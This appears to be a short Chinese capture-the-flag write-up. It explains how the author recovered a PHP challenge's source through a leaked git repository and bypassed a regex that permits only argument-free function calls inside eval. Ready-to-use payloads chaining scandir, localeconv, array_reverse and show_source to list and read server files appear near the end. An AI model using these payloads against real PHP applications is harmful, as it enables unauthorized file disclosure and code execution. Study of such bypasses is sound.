用dirsearch扫,太频繁,直接被封了,考虑用githack
扫描后,得到index.php,进到2ce5746。。。。里查看一下源码
然后考虑一下绕过的问题。
过滤了几个伪协议,不能用伪协议读取,
(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
正则匹配掉了et/na/info等关键字,很多函数都用不了。
eval($_GET['exp']); 典型的无参数RCE
/[^\W]+\((?R)?\)/ 典型无参数RCE正则
无参数RCE可以通过这些方式:
scandir()
print_r(scandir(xxxxxx)); #表示获取某目录下的文件
localeconv()
函数返回一包含本地数字及货币格式信息的数组,其中数组的第一项就是"."
current()
返回数组中的当前单元, 默认取第一个值。
所以如果用print_r(scandir(current(localeconv())));就可以查看当前目录下的文件
- file_get_contents() #把整个文件读入一个字符串中;
- file #把整个文件读入一个数组中;
- readfile() #读入一个文件并写入到输出缓冲;
- highlight_file() #对文件进行语法高亮显示;
- show_source() #对文件进行语法高亮显示;
- array_reverse() 接受数组
array
作为输入并返回一个单元为相反顺序的新数组。 - next()指向数组的下一个元素。
- prev() - 将内部指针指向数组中的上一个元素,并输出
- current() - 返回数组中的当前元素的值
- end() - 将内部指针指向数组中的最后一个元素,并输出
- reset() - 将内部指针指向数组中的第一个元素,并输出
- each() - 返回当前元素的键名和键值,并将内部指针向前移动
?exp=print_r(scandir(pos(localeconv())));
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
或
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
参考文章:
https://cloud.tencent.com/developer/article/1760288